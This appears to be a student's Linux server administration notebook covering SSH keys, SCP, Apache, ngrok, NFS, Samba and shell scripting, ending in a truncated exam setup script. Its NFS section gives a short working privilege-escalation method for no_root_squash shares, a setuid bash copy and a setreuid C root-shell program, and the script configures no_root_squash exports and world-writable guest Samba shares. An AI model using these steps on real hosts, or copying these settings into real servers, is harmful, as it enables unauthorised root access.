# Linux Server
###### `linux` `server`
[TOC]
[NFS+SMB in cloud Envrioment](/7JRElBuKRxOmAEbfVpPkJA)
###### `linux`
# 9/12
## Modify the host name
```
ubuntu@ip-172-31-5-149:~$ sudo -s
root@ip-172-31-5-149:/home/ubuntu# hostname
ip-172-31-5-149
root@ip-172-31-5-149:/home/ubuntu# hostnamectl set-hostname ip-54-252-53-102
root@ip-172-31-5-149:/home/ubuntu# bash
root@ip-54-252-53-102:/home/ubuntu#
```
## Display a list of installed packages
Redhat/centos
```
rpm -qa
rpm -qa | grep ssh
```
Ubuntu:
```
┌──(root㉿kali)-[/home/kali]
└─# dpkg --get-selections | grep ssh
libssh-4:amd64 install
libssh-gcrypt-4:amd64 install
libssh2-1:amd64 install
openssh-client install
openssh-server install
openssh-sftp-server install
```
---
## System Service Management
### flags
- status
- start
- stop
- restart
- reload
Daemon means service
Loaded:(Enable)
Enabling this option means that if the host reboots, the service will restart
```
systemctl enable "service"
sytstmctl disable "service"
```
Constant IP configuration
## Configure DNS on localhost
The `/etc/hosts` file is used to configure the DNS server on a local system
It contain mapping of hostnames to the ip address
## SSH Connection
# 9/19 Linux Note
## Terminal operations
ctrl + E
ctrl + A
## Troubleshooting SSH
### Check if server is running
```
root@meowhecker:/home/ubuntu#systemctl status sshd
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
Drop-In: /usr/lib/systemd/system/ssh.service.d
└─ec2-instance-connect.conf
Active: active (running) since Tue 2023-09-19 05:41:17 UTC; 28min ago
```
### Check Server Port
```
root@meowhecker:/home/ubuntu# netstat -tulnp | grep -i ssh
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 568/sshd: /usr/sbin
tcp6 0 0 :::22 :::* LISTEN 568/sshd: /usr/sbin
```
### Check firewall
```
apt install ufw
┌──(root㉿kali)-[/home/kali]
└─# ufw status
Status: inactive
```
### Check Linux Security
```
root@meowhecker:/home/ubuntu# getenforce
Disabled
```
/etc/selinux/config
# SSH key Management
## Passwordless logins
### Generate SSH key pair
```
ssh-keygen -t rsa
```
Generate public key and private key
```
[root@meowhecker1 user]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:cfRn6BNWlnA8o4yADcVVjql1lUJeP1TNFfVQ+I9XvD8 root@meowhecker1
The key's randomart image is:
+---[RSA 2048]----+
| .*..oo+oBO@|
| . +. *.BOo+|
| ..=oOoo*o|
| =.+o+ =|
| S o .+|
| ...o|
| ..|
| E.|
| .|
+----[SHA256]-----+
```
### Copy public key to remote Server
```
ssh-copy-id
```
the command is used to add the your ssh public key to the list of authentication key on the remote server.
`ssh-copy-id` command, you can copy your SSH public key to the `~/.ssh/authorized_keys` file on the remote host,
Basic Syntax
```
ssh-copy-id [-i [identity_file]] [user@]hostname
```
Client(NO password login)
```
[root@meowhecker1 .ssh]# ssh-copy-id -i id_rsa.pub root@meowhecker2
/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "id_rsa.pub"
/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@meowhecker2's password:
Number of key(s) added: 1
Now try logging into the machine, with: "ssh 'root@meowhecker2'"
and check to make sure that only the key(s) you wanted were added.
```
First, you need to log in with the user password
---
Server(adding public key from Client(trust) to ~.ssh/authorized_keys)
```
[root@meowhecker2 user]# cd /root/.ssh/
[root@meowhecker2 .ssh]# ls
authorized_keys
```
---
```
[root@meowhecker1 user]# ssh root@meowhecker2
Last login: Tue Sep 19 21:22:22 2023 from 192.168.203.134
[root@meowhecker2 ~]#
```
---
## SSH Configuration FIle
the ssh configuration file often located ad /etc/ssh/sshd_config
### Port
This setting allows us to specify the port on which the SSH server listens for incoming connections
### PermitRootLogin
Determine whether root user loin via shh is allow?
### PasswordAuthentication
Determine whether password-base authentication is allow?
### AllowUsers/AllowGroups
Provide user and group access control
### PubkeyAuthentication
Restricts authentication to the use of public keys.
### HostKey
Specifies the server's host key files, which are used for encryption and secure key exchange.
# SCP(Security Copy Protocol)
This protocol use to send the file and directors between the local and remote server over the SSH
## Basic Syntax:
```
scp testfile user@host1:/tmp
```
## Recursive-Copy
Send the folder to remote server
Basic Syntax:
```
scp -r testdir/ user@host1:/tmp
```
### Specifying ssh identify File
```
scp -i /path/to/private-key file.txt user@hostname:/path/to/destination/
```
### Copy form a Remote Host to local
To copy a file from a remote host to the local system:
```
scp user@hostname:/path/to/file.txt /local/destination/
```
### Using proxy or Jump host
When using a proxy or jump host to reach the target host:
```
scp -J jumpuser@jumphost user@target:/path/to/file.txt /local/destination/
```
# Running a web server(httpd)
To check if the Apache HTTP server (httpd) is installed,(CentOS)
checks for the presence of the `httpd` package.
```
rpm -qa | grep httpd
```
```
systemctl start httpd
```
To verify that the HTTP service is running and listening on port 80
```
netstat -tunlp | grep httpd
```
Running the http service on port 80
Saving the Word.htm and word file to /var/www/html folder
---
# Expose a local host to the public internet!
Lin聖軒(Author)
https://dashboard.ngrok.com/get-started/setup
NFROK can let outside machine directly connect to private network machine.
Private Machine
## Download ngrok Client
```
[root@meowhecker1 user]# wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
```
## Extract the Archive
```
[root@meowhecker1 user]# tar zxvf ngrok-v3-stable-linux-amd64.tgz
```
## Add Authentication Token
```
[root@meowhecker1 user]# ngrok config add-authtoken 2VvJIgUaQZMeowMeowo5ZJnTvY3nY
```
```
[root@meowhecker1 user]# ngrok http 80
```
# Yum (Packet Management)
It is used to install, update, remove, and search for software packages
Third-part Repositories:
Extra Packages for Enterprise Linux
```
epel-release
```
https://www.cnblogs.com/yaoyaojcy/p/17139639.html
To Check the library whether is complete ?
Next
Interactive Process viewer
## top
The `top` command provides real-time information about system performance
## htop
### Download `htop` Package
```
wget https://src.fedoraproject.org/lookaside/extras/htop/htop-2.2.0.tar.gz/sha512/ec1335bf0e3e0387e5e50acbc508d0effad19c4bc1ac312419dc97b82901f4819600d6f87a91668f39d429536d17304d4b14634426a06bec2ecd09df24adc62e/htop-2.2.0.tar.gz
```
### Extract the Package
```
tar xzvf htop-2.2.0.tar.gz
```
### Compile the software
```
./configure
make
make install
```
### Run htop binary file
```
htop
```
# du (Disk usage)
Shows the disk usage of all files and directories in the current directory
```
du
```
Shows the total disk space used by the specified directory (in this case
Displays the disk usage of the top-level directories in the `/home` directory
```
du -h --max-depth=1 /home
```
## df (Disk free)
Displays
- disk space usage
- mounted location
- each partition.
```
df -h
```
```
┌──(root㉿kali)-[/home/kali]
└─# df -h | grep /$
/dev/sda1 79G 15G 60G 20% /
```
```
┌──(root㉿kali)-[/home/kali]
└─# df -h | grep /$ | awk '{print $5}'
20%
```
```
[root@meowhecker1 htop-2.2.0]# df -h | grep /$ | awk '{print $5}' | tr "%" " "
80
```
```
[root@meowhecker1 htop-2.2.0]# meow=$(df -h | grep /$ | awk '{print $5}' | tr "%" " ")
[root@meowhecker1 htop-2.2.0]# echo $meow
80
```
---
# NFS (Network file system)
## Escape Privilege (no_root_squash no_all_squash Misconfiguration)
### RPC protocol
### File Access Permission
### Remote Exploit
Our Machine(Running as root user)
```
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
```
#Victim
```
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
### Local Exploiting
no\_root\_squash
```c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
```
[w3user@machine libnfs]$ /mnt/share/a.out
[root@machine libnfs]#
```
It allow use Escape Privilege on the victim host
## Server-Side Configuration
### Installed
```
sudo yum install nfs-utils
```
### Enable `rpcbind` and NFS services
```
sudo systemctl enable rpcbind
sudo systemctl enable nfs
```
### Edit the export configuration file
```
sudo vim /etc/exports
/data/ 192.168.139.0/24(rw,sync,no_root_squash,no_all_squash)
```
- `/data/` is the shared directory.
- `192.168.68.0/24` represents the IP range of the clients.
- `rw` grants read and write permissions.
- `sync` ensures synchronous directory updates.
- `no_root_squash` allows root user access.
- `no_all_squash` enables access for regular users.
```
[root@meowhecker1 /]# mkdir nfsServerDir -p
```
```
[root@meowhecker1 /]# systemctl start nfs
[root@meowhecker1 /]# chmod 775 nfsServerDir/
[root@meowhecker1 /]# vim /etc/exports
[root@meowhecker1 /]# systemctl restart nfs
[root@meowhecker1 /]# showmount -e localhost
Export list for localhost:
/nfsServerDir 192.168.203.0/24
[root@meowhecker1 /]# cd nfsServerDir/
[root@meowhecker1 nfsServerDir]# ls
meowhecker.txt
```
## Client-Side Configuration
```
[root@meowhecker2 /]# sudo yum install nfs-utils
```
### Enable `rpcbind` and NFS services
```
sudo systemctl enable rpcbind
sudo systemctl enable nfs
```
### Check the shared directories on the server
```
showmount -e server_ip
```
### Create a directory on the client to mount the shared content
```
[root@meowhecker2 /]# mkdir nsfClientDir -p
[root@meowhecker2 /]# sudo mkdir /nsfClientDir
[root@meowhecker2 /]# sudo chmod 755 /nsfClientDir
```
### Mount the NFS share on the client:
```
mount -t nfs server_ip:/data /nfs-data
```
---
# dd(Data Dump )
```
dd if=/dev/zero of=file3m bs=1M count=3
```
dd if=/dev/zero of=file10m bs=1m count=10
if -> input file /dev/zero
of -> output file /target file
bs -> block size 1-MB
```
[user@meowhecker1 ~]$ ls -la file100M -h
-rw-rw-r-- 1 user user 100M Oct 3 02:49 file100M
```
# WC (word count)
```
[root@meowhecker1 /]# cat -n meowhecker
1 meowhecker
2
3 meowmeow
4
5 meowtest123
6
7 meowwoem
[root@meowhecker1 /]# wc meowhecker
7 4 44 meowhecker
```
```
[root@meowhecker1 /]# wc -l meowhecker
7 meowhecker
[root@meowhecker1 /]# wc -w meowhecker
4 meowhecker
```
- `-l`: Display only the line count.
- `-c`: Display only the character count.
- `-w`: Display only the word count.
```
[root@meowhecker1 /]# cat meowhecker | wc -l
7
```
### tr (translate or Delete character)
```
ser@meowhecker1 ~]$ echo "ABCD" | tr [:upper:] [:lower:]
abcd
```
```
[user@meowhecker1 ~]$ echo "HELLO WORLD" | tr 'A-Z' 'a-z'
hello world
```
```
[user@meowhecker1 ~]$ echo "HELLO WORLD12345" | tr -d 'A-Za-z'
12345
```
```
[user@meowhecker1 ~]$ echo "thisssss" | tr -s "s"
this
```
---
```
[user@meowhecker1 ~]$ echo "thisssss a n me owhecker" | tr -s "s "
this a n me owhecker
```
Crypt (tr)
```
567
[user@meowhecker1 ~]$ echo "12345" | tr '[0-9]' '9876543210'
76543
```
---
```
tr -s "\n\r" ","
```
# seq(Sequence Generator)
```
[user@meowhecker1 ~]$ seq 1 1 10
1
2
3
4
5
6
7
8
9
10
```
# bc(Basic calculation)
```
[user@meowhecker1 ~]$ seq -s "+" 1 10 | bc
55
```
```
[user@meowhecker1 ~]$ echo "1+5*2" | bc
11
```
```
[user@meowhecker1 ~]$ seq -w 1 12
01
02
03
04
05
06
07
08
09
10
11
12
```
---
# SMB
2023/10/17
https://josephjsf2.github.io/linux/2019/11/01/share_centos_folder_with_windows.html
Samba server on a Linux machine, enabling file sharing with Windows clients
## Install Samba
```
[ec2-user@ip-172-31-20-88 ~]$ sudo -s
[root@ip-172-31-20-88 ec2-user]# yum install samba samba-client samba-common -y
```
## Create a Shaer Directory
```
[root@ip-172-31-20-88 ec2-user]# mkdir sambaDir
[root@ip-172-31-20-88 ec2-user]# ls
sambaDir
[root@ip-172-31-20-88 ec2-user]# chown nobody sambaDir/
[root@ip-172-31-20-88 ec2-user]# ls
sambaDir
```
## Edit the Samba Configuration File
```
[root@ip-172-31-20-88 ec2-user]# vim /etc/samba/smb.conf
[root@ip-172-31-20-88 ec2-user]# pwd
/home/ec2-user
```
```
[root@ip-172-31-20-88 ec2-user]# testparm
Load smb config files from /etc/samba/smb.conf
Loaded services file OK.
Weak crypto is allowed by GnuTLS (e.g. NTLM as a compatibility fallback)
Server role: ROLE_STANDALONE
Press enter to see a dump of your service definitions
```
## Add Configuration Settings
```
[meow]
comment = share /sambaDirTOwindows
guest ok = Yes
path = /sambadir
read only = No
```
Verify the Samba configuration settings using the `testparm` command.
```
[root@ip-172-31-20-88 ec2-user]# systemctl restart smb
```
Port:445 139
```
[root@ip-172-31-20-88 ec2-user]# smbpasswd -a ec2-user
New SMB password:
Retype new SMB password:
Added user ec2-user.
```
we can disconnect any existing connections by running `net use * /delete` in the Windows command prompt
# Sort
- `sort` command is used to sort lines of text in a file.
- By default, it sorts alphabetically based on ASCII codes.
sort -r
## Numeric Sorting
## Reverse Sorting
## Sorting by a Specific Column
## Sorting with a Custom Field Separator
## cut
Cut command use to extracted the section from line of files
### Extract Multiple Fields
### Simple String Slicing
### Generate Random Number
# split (split the file)
## Split File
```
[ec2-user@ip-172-31-20-88 ~]$ dd if=/dev/zero of=file4 bs=1M count=3
3+0 records in
3+0 records out
3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.00242657 s, 1.3 GB/s
```
```
[ec2-user@ip-172-31-20-88 ~]$ split -b 1m file4
[ec2-user@ip-172-31-20-88 ~]$ ls
file3 file4 sambaDir str test test1 xaa xab xac
```
# Merge file with cat command
```
cat hello1 hello2 hello3 > hello4
```
## diff(Compare different part)
# Mail (Sending an Email with `mail`)
```
mail -s "test_mail" s111010550@student.nqu.edu.tw
```
# IPv6 web service (Public)
To set up a web server using IPv6
AWS IPv6
https://dynv6.com/users/edit
建立CIDR <-->與VPC 關聯
# Assign IPv6 Addresses
## Adding route
---
## Wifi-interface
## DNS Configuration
https://dynv6.com/
Dynamic IPv6
https://dynv6.com/users/edit
# 12 - Script
```
[ec2-user@ip-10-10-0-36 ~]$ meow=10
[ec2-user@ip-10-10-0-36 ~]$ echo $meow
10
```
# Alias
simplifying command usage
```
[ec2-user@ip-10-10-0-36 ~]$ alias
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias xzegrep='xzegrep --color=auto'
alias xzfgrep='xzfgrep --color=auto'
alias xzgrep='xzgrep --color=auto'
alias zegrep='zegrep --color=auto'
alias zfgrep='zfgrep --color=auto'
alias zgrep='zgrep --color=auto'
```
## '\command' removes the 'command' alias
```
\command [flag/paramenter]
```
```
[ec2-user@ip-10-10-0-36 ~]$ \cp meowa meowb
```
## Adding a new alias
```
[ec2-user@ip-10-10-0-36 ~]$ alias showlist="ls -la"
[ec2-user@ip-10-10-0-36 ~]$ showlist
total 16
drwx------. 3 ec2-user ec2-user 121 Oct 24 07:14 .
drwxr-xr-x. 3 root root 22 Oct 24 06:40 ..
-rw-------. 1 ec2-user ec2-user 60 Oct 24 06:51 .bash_history
-rw-r--r--. 1 ec2-user ec2-user 18 Jan 28 2023 .bash_logout
-rw-r--r--. 1 ec2-user ec2-user 141 Jan 28 2023 .bash_profile
-rw-r--r--. 1 ec2-user ec2-user 492 Jan 28 2023 .bashrc
drwx------. 2 ec2-user ec2-user 29 Oct 24 06:40 .ssh
-rw-r--r--. 1 ec2-user ec2-user 0 Oct 24 07:14 meowa
-rw-r--r--. 1 ec2-user ec2-user 0 Oct 24 07:14 meowb
```
## Valid for the current shell session
Show Current terminal process ID
```
[ec2-user@ip-10-10-0-36 ~]$ echo $$
29512
[ec2-user@ip-10-10-0-36 ~]$ bash
[ec2-user@ip-10-10-0-36 ~]$ echo $$
29728
[ec2-user@ip-10-10-0-36 ~]$ exit
exit
[ec2-user@ip-10-10-0-36 ~]$ echo $$
29512
```
## Environment configuration
### Add / Delete alias command (.bashrc file )
```bash
source .bashrc
. .bashrc
```
### System-wide Setting
```
vim /etc/profile
```
### Delete ALias
```
unalias meow
```
# echo
## Single quotes prevent variable substitution
```
[ec2-user@ip-10-10-0-36 ~]$ meowA=10
[ec2-user@ip-10-10-0-36 ~]$ echo "meow $meowA"
meow 10
[ec2-user@ip-10-10-0-36 ~]$ echo 'meow $meowA'
meow $meowA
```
-e options
Special characters can be printed as well using '-e'
```
[ec2-user@ip-10-10-0-36 ~]$ echo -e "meow\nhecker"
meow
hecker
```
# Variables
## $HOME
```
[ec2-user@ip-10-10-0-36 ~]$ echo $HOME
/home/ec2-user
```
## $PATH
```
[ec2-user@ip-10-10-0-36 ~]$ echo $PATH
/home/ec2-user/.local/bin:/home/ec2-user/bin:/root/.local/bin:/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/var/lib/snapd/snap/bin
```
setting
$PATH
Directories where executable files are located
Search the path for executable files.
```
[ec2-user@ip-10-10-0-36 ~]$ mkdir bin
[ec2-user@ip-10-10-0-36 ~]$ cd bin/
[ec2-user@ip-10-10-0-36 bin]$ echo "ls -la" > list.sh
vim .bashrc
export PATH=/home/ec2-user/bin:$PATH
```
```
[root@ip-10-10-0-36 bin]# export PATH=/home/ec2-user/bin:$PATH
[root@ip-10-10-0-36 bin]# chmod +x list.sh
[root@ip-10-10-0-36 bin]# list.sh
total 4
drwxrwxr-x. 2 ec2-user ec2-user 21 Oct 24 08:08 .
drwx------. 4 ec2-user ec2-user 164 Oct 24 08:07 ..
-rwxrwxr-x. 1 ec2-user ec2-user 7 Oct 24 08:07 list.sh
```
$USER
```
[ec2-user@ip-10-10-0-36 ~]$ echo $USER
ec2-user
[ec2-user@ip-10-10-0-36 ~]$ echo $UID
1000
```
```
[root@ip-10-10-0-36 bin]# [[ $USER == "root" ]]&&echo 1||echo 0
1
```
$IFS -> display separate character
---
10/31
Echo
```
[ec2-user@ip-10-10-0-30 ~]$ echo $RANDOM
16049
```
```
[ec2-user@ip-10-10-0-30 ~]$ echo $RANDOM | md5sum | cut -c 1-8
134c82a0
```
History
```
[ec2-user@ip-10-10-0-30 ~]$ ! history
1 cd /tmp
2 sudo -s
3 showmount -e 10.10.1.19
4 yum install samba samba-client samba-common -y
5 sudo -s
6 ls
7 mkdir -p /mnt/nfs-share
8 sudo -s
9 ls
10 mkdir windowShare
11 chmod nobody windowShare/
12 sudo -s
13 ls
14 ping 8.8.8.8
15 ssh -i meowheckerKey2.pem ec2-user@10.10.1.19
16 ls
17 sudo -s
18 ls
19 ssh -i meowheckerKey2.pem ec2-user@10.10.1.19
20 ssh -i meowheckerKey2.pem ec2-user@10.10.1.148
21 ssh -i meowheckerKey2.pem ubuntu@10.10.1.148
22 sudo -s
23 sudo -s
24 ping 10.10.01.125
25 ping 10.10.0.125
26 ping -6 2001:b400:e785:5b37:20c:29ff:fea3:f136
27 echo $RANDOM
28 echo $RANDOM | md5sum | cut 1-8
29 echo $RANDOM | md5sum | cut -c 1-8
30 !
```
## env
```
[ec2-user@ip-10-10-0-30 ~]$ env
SHELL=/bin/bash
HISTCONTROL=ignoredups
SYSTEMD_COLORS=false
HISTSIZE=1000
HOSTNAME=ip-10-10-0-30.ec2.internal
PWD=/home/ec2-user
LOGNAME=ec2-user
XDG_SESSION_TYPE=tty
MOTD_SHOWN=pam
HOME=/home/ec2-user
LANG=C.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.m4a=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.oga=01;36:*.opus=01;36:*.spx=01;36:*.xspf=01;36:
SSH_CONNECTION=118.163.251.115 63939 10.10.0.30 22
XDG_SESSION_CLASS=user
SELINUX_ROLE_REQUESTED=
TERM=xterm
LESSOPEN=||/usr/bin/lesspipe.sh %s
USER=ec2-user
SELINUX_USE_CURRENT_RANGE=
SHLVL=1
XDG_SESSION_ID=1
XDG_RUNTIME_DIR=/run/user/1000
S_COLORS=auto
SSH_CLIENT=118.163.251.115 63939 22
which_declare=declare -f
PATH=/home/ec2-user/.local/bin:/home/ec2-user/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin
SELINUX_LEVEL_REQUESTED=
DBUS_SESSION_BUS_A
RESS=unix:path=/run/user/1000/bus
MAIL=/var/spool/mail/ec2-user
SSH_TTY=/dev/pts/0
BASH_FUNC_which%%=() { ( alias;
eval ${which_declare} ) | /usr/bin/which --tty-only --read-alias --read-functions --show-tilde --show-dot "$@"
}
_=/usr/bin/env
```
## Echo
```
[ec2-user@ip-10-10-0-30 ~]$ _meow="meow"
[ec2-user@ip-10-10-0-30 ~]$ echo $_meow
meow
```
```
[ec2-user@ip-10-10-0-30 ~]$ echo $(echo meow)hecker
meowhecker
```
```
[ec2-user@ip-10-10-0-30 ~]$ echo ${_meow}hecker
meowhecker
```
```
[ec2-user@ip-10-10-0-30 ~]$ echo "${_meow}hecker"
meowhecker
[ec2-user@ip-10-10-0-30 ~]$ echo '${_meow}hecker'
${_meow}hecker
```
# read
The `read` command allows us to read input from the user and store it in a variable
```
[ec2-user@ip-10-10-0-30 ~]$ read -p "input:number" number
input:number66
[ec2-user@ip-10-10-0-30 ~]$ echo $number
66
```
## Exists Status
The exit status indicates whether a command executed successfully or encountered an error
A successful command returns an exit status of `0`, while an unsuccessful one returns a non-zero status.
## Compare Expression
test and []
Compare operation
```
test
[]
[[ ]]
```
File
String
Number
### test
```
meow.txt meowheckerKey2.pem mnt mount windowShare
[ec2-user@ip-10-10-0-30 ~]$ test -d meow.txt
[ec2-user@ip-10-10-0-30 ~]$ test -d meow.txt && echo 1 || echo 0
0
[ec2-user@ip-10-10-0-30 ~]$ test -d mount && echo 1 || echo 0
1
```
```
[ec2-user@ip-10-10-0-30 ~]$ ls $(echo /tmp) -la
total 0
drwxrwxrwt. 12 root root 240 Oct 31 06:22 .
dr-xr-xr-x. 19 root root 252 Oct 22 00:23 ..
drwxrwxrwt. 2 root root 40 Oct 31 05:44 .ICE-unix
drwxrwxrwt. 2 root root 40 Oct 31 05:44 .X11-unix
drwxrwxrwt. 2 root root 40 Oct 31 05:44 .XIM-unix
drwxrwxrwt. 2 root root 40 Oct 31 05:44 .font-unix
```
-e ->exists
-s -> whether specify file is empty or not
### -z
```
[ec2-user@ip-10-10-0-30 ~]$ str1=""
[ec2-user@ip-10-10-0-30 ~]$ test -z $str1 && echo 1 || echo 0
1
[ec2-user@ip-10-10-0-30 ~]$ str2="meow"
[ec2-user@ip-10-10-0-30 ~]$ test -z $str2 && echo 1 || echo 0
0
```
### Compare String
```
[ec2-user@ip-10-10-0-30 ~]$ meow1=meow
[ec2-user@ip-10-10-0-30 ~]$ meow2=meow
[ec2-user@ip-10-10-0-30 ~]$ test $meow1 = $meow2 && echo 1 || echo 0
1
[ec2-user@ip-10-10-0-30 ~]$ meow2=meowhecker
[ec2-user@ip-10-10-0-30 ~]$ test $meow1 = $meow2 && echo 1 || echo 0
0
```
```
[ec2-user@ip-10-10-0-30 ~]$ a=10
[ec2-user@ip-10-10-0-30 ~]$ b=10
[ec2-user@ip-10-10-0-30 ~]$ test $a -eq $b && echo 1 || echo 0
1
[ec2-user@ip-10-10-0-30 ~]$ b=20
[ec2-user@ip-10-10-0-30 ~]$ test $a -eq $b && echo 1 || echo 0
0
```
```
read -p "input:number" number1
read -p "input:number" number2
test $number1 -eq $number2 && echo "=" || echo 0
test $number1 -gt $number2 && echo ">" || echo 0
test $number1 -lt $number2 && echo "<" || echo 0
```
Calculator:
```
read -p "input:number" number1
read -p "input:number" number2
sum=$((number1 + number2))
echo "+: $sum"
difference=$((number1 - number2))
echo "-: $difference"
product=$((number1 * number2))
echo "*: $product"
division=$(($number1/$number2))
echo "/: $division"
```
Script variable
```
echo $1
echo $2
echo $3
echo $#
```
## 11/14
CentOS1
CentOS2
Setting ens36 IP (Centos 7-1)
(Centos 7-2)
Cent-1 server configuration
```
vim /etc/ppp/chap-secrets
```
```
vim /etc/sysctl.conf
```
Windows VPN
# Service Script for Exam
## Server Script
```bash
#!/bin/bash
# using to locate Executing positions of the script
initialdirectory=$(pwd)
ClientHostname=s0560
# setting HostName
hostnamectl set-hostname s0560server
# using double quotes instead of smart quotes for proper syntax
echo "Hello World from $(hostname)" > /var/www/html/index.html
# DNS cache
echo "Input Target Client IP:"
read ClientIP
echo "$ClientIP $ClientHostname" >> /etc/hosts
# -----------------
# Automatically install
yum update -y
yum install -y httpd
systemctl start httpd.service
systemctl enable httpd.service
# SSH
systemctl start sshd && systemctl enable sshd
ssh-keygen -y
# generate SSH key
expect -f keyGenAndSendkey.exp && echo "Auto login Finish!!"
# Task 2: LAMP PHP
yum install -y mariadb-server mariadb && systemctl start mariadb
yum install -y php php-mysql php-fpm && systemctl restart httpd
expect -f mysqlSecureSetting.exp
# create database and insert data
php dbSetting.php
# backend-php
mv ./meowdb.php /var/www/html
# Task 3: NFS server
yum install -y nfs-utils
systemctl start rpcbind
systemctl start nfs
mkdir -p /home/user/nfsServer
chmod 755 /home/user/nfsServer
sameLanIP=$(ip addr show ens33 | grep 'inet ' | awk '{split($2, a, "."); print a[1]"."a[2]"."a[3]".0"}')
echo "/home/user/nfsServer/ $sameLanIP/24(rw,sync,no_root_squash,no_all_squash)" >> /etc/exports
systemctl restart nfs && showmount -e localhost
# Task 4: SAMBA
yum install samba samba-client samba-common -y
mkdir /home/user/sambaServer/
chown nobody /home/user/sambaServer/
chmod 777 /home/user/sambaServer/
# SMB.conf
echo "[MeowHecker]" >> /etc/samba/smb.conf
echo -e "\tcomment = for MeowHecker" >> /etc/samba/smb.conf
echo -e "\tpath = /home/user/sambaServer/" >> /etc/samba/smb.conf
echo -e "\tread only = no" >> /etc/samba/smb.conf
echo -e "\tguest ok = yes" >> /etc/samba/smb.conf
echo -e "\tbrowseable = yes" >> /etc/samba/smb.conf
# Testing restart SMB
echo -e '\r' | testparm && systemctl start smb
# Setting SMB user password (user:user)
expect -f smbpass.exp
# Windows \\192.168.87.134
# httpd Access control!
## White list (IP)
cd /var/www/html/
mkdir iplimit
cd /var/www/html/iplimit && echo "ipAccessControl" >> iplimit.html
# AllowOverride None -> All
allowOverrideLine=$(grep -n "AllowOverride None" /etc/httpd/conf/httpd.conf | sed -n '2s/:.*//p')
sed -i "${allowOverrideLine}s/AllowOverride None/AllowOverride All/" /etc/httpd/conf/httpd.conf
echo "IP Allow White list (192.xxx.xxx.xxx):"
read ipAllow
echo "<Directory /var/www/html/iplimit>" >> /etc/httpd/conf/httpd.conf
echo -e "\tOrder deny,allow" >> /etc/httpd/conf/httpd.conf
echo -e "\tDeny from all" >> /etc/httpd/conf/httpd.conf
echo -e "\tAllow from $ipAllow" >> /etc/httpd/conf/httpd.conf
echo "</Directory>" >> /etc/httpd/conf/httpd.conf
systemctl reload httpd # Access Limit done
## Directory Authentication
cd /var/www/html/
mkdir authDir && cd ./authDir/
touch {a..d}.txt
# Generate (meowhecker:meowhecker)
expect -f httpdauthConf.exp
echo "AuthType Basic" >> /var/www/html/authDir/.htaccess
echo "AuthName 'Restricted Files'" >> /var/www/html/authDir/.htaccess
echo "AuthBasicProvider file" >> /var/www/html/authDir/.htaccess
echo "AuthUserFile /var/www/html/authDir/.htpasswd" >> /var/www/html/authDir/.htaccess
echo "Require user meowhecker" >> /var/www/html/authDir/.htaccess
systemctl reload httpd
# Task 5: Running Echo server via systemctl
yum install python3 -y
sudo chmod +x "$initialdirectory/echoserver.py"
# Configure systemctl Configuration
cd /etc/systemd/system
echo "[Unit]" >> /etc/systemd/system/echoserver.service
